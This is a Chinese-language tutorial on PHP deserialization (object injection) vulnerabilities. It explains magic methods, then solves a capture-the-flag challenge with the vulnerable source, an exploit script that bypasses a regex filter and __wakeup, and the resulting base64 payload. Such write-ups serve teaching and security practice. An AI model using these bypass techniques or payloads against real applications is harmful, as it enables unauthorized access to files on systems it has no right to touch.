PHP反序列化漏洞
1.关于php面向对象编程:
- 对象:可以对其做事情的一些东西。一个对象有状态、行为和标识三种属性。
- 类:一个共享相同结构和行为的对象的集合。
每个类的定义都以关键字class开头,后面跟着类的名字。一个类可以包含有属于自己的变量,变量(称为“属性”)以及函数(“称为方法”)。类定义了一件事物的抽象特点。通常来说,类定义了事物的属性和它可以做到的。类可能会包含一些特殊的函数叫magic函数,
magic函数命名是以符号“__”开头的,
比如_construct,_destruct,_toString,_sleep,_wakeup等。这些函数在某些情况下会自动调用,
__construct当一个对象创建时调用(constructor);
__destruct当一个对象被销毁时调用(destructor);
invoke():当把一个类当作函数使用时自动调用
__toString当一个对象被当作一个字符串时使用。
__sleep magic方法在一个对象被序列化时调用,
__wakeup magic方法在一个对象被反序列化时调用
2.漏洞简介
PHP反序列化漏洞也叫PHP对象注入,是一个非常常见的漏洞,这种类型的漏洞虽然有些难以利用,但一旦利用成功就会造成非常危险的后果。漏洞的形成的根本原因是程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成代码执行、getshell等一系列不可控的后果。反序列化漏洞并不是PHP特有,也存在于Java、Python等语言之中,但其原理基本相通。
序列化 :将对象转换成字符串
反序列化:将特定格式的字符串转换成对象
3.实例:攻防世界 web进阶区 :Web_php_unserialize
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
根据代码可知:
接收的var变量需要满足的条件为:
1、$file改成fl4g.php;
2、绕过:preg_match(’/[oc]:\d+:/i’, $var)
3、跳过__wakeup()。
于是执行:
<?php
class Demo {
private $file = 'fl4g.php';//$file改成fl4g.php
}
$a= serialize(new demo);
$a= str_replace('O:4', 'O:+4',$a);//绕过preg_match
$a= str_replace(':1:', ':2:',$a);//绕过wakeup
echo base64_encode($a);
?>
得到:TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==